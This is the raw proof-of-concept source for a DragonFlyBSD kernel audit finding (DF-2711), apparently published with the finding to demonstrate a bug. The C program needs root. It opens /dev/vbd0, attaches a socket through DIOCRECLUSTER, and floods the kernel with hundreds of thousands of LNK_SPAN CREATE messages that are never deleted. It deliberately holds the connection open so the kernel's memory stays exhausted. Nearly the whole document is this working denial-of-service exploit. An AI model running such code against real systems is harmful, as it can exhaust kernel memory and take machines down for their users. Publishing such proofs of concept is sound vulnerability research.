⬢ DragonFlyBSD Kernel Audit
DF-2711 / dmsg_flood.c
← back to finding ↓ download raw
/*
 * DF-2711: unbounded peer-driven kdmsg_state allocation (no quota).
 * Attaches to the vbd0 disk DMSG iocom via DIOCRECLUSTER (root) and
 * floods N independent LNK_SPAN CREATE messages at circuit 0 with unique
 * msgids and NO DELETEs.  Every CREATE allocates a persistent kdmsg_state
 * retained until teardown.  Kernel heap growth is observed via vmstat -m.
 *
 * Based on the DF-0017 wire rig (DIOCRECLUSTER + AF_UNIX socketpair).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <sys/diskslice.h>
#include <sys/dmsg.h>
#include <sys/socket.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <err.h>

#define DMSG_DISK "/dev/vbd0"

#ifndef DIOCRECLUSTER
#include <sys/diskslice.h>
#endif

static void
mk_dmsg(void *buf, uint32_t cmd, uint64_t msgid, uint64_t circuit)
{
	dmsg_hdr_t *h = buf;
	memset(buf, 0, 64);
	h->magic = DMSG_HDR_MAGIC;
	h->cmd = cmd;
	h->msgid = msgid;
	h->circuit = circuit;
	h->aux_bytes = 0;
	h->hdr_crc = 0;
	h->aux_crc = 0;
}

static void *
drain(void *arg)
{
	int fd = *(int *)arg;
	char buf[65536];
	for (;;)
		if (read(fd, buf, sizeof(buf)) <= 0)
			break;
	return NULL;
}

int
main(int argc, char **argv)
{
	setvbuf(stderr, NULL, _IONBF, 0);
	long n = 200000;
	if (argc >= 2)
		n = atol(argv[1]);

	int diskfd = open(DMSG_DISK, O_RDWR);
	if (diskfd < 0)
		err(1, "open %s", DMSG_DISK);
	int sv[2];
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0)
		err(1, "socketpair");
	pthread_t dt;
	pthread_create(&dt, NULL, drain, &sv[1]);

	struct disk_ioc_recluster recl;
	memset(&recl, 0, sizeof(recl));
	recl.fd = sv[0];
	if (ioctl(diskfd, DIOCRECLUSTER, &recl) < 0)
		err(1, "DIOCRECLUSTER");
	fprintf(stderr, "[*] iocom attached; flooding %ld persistent "
	    "LNK_SPAN CREATEs (unique msgid, no DELETE)\n", n);

	char buf[64];
	long i;
	for (i = 1; i <= n; i++) {
		mk_dmsg(buf, DMSG_LNK_SPAN | DMSGF_CREATE, (uint64_t)i, 0ULL);
		if (write(sv[1], buf, 64) != 64) {
			fprintf(stderr, "[!] write failed at %ld: %s\n",
			    i, strerror(errno));
			break;
		}
		if ((i % 25000) == 0)
			fprintf(stderr, "[*] %ld CREATEs sent\n", i);
	}
	fprintf(stderr, "[*] sent %ld CREATEs; sleeping 5s for the reader "
	    "thread\n", i - 1);
	sleep(5);
	fprintf(stderr, "[*] states are retained until teardown; check "
	    "vmstat -m / memory pressure now\n");
	/* deliberately do NOT close sv[1]: keep states alive */
	pause();
	return 0;
}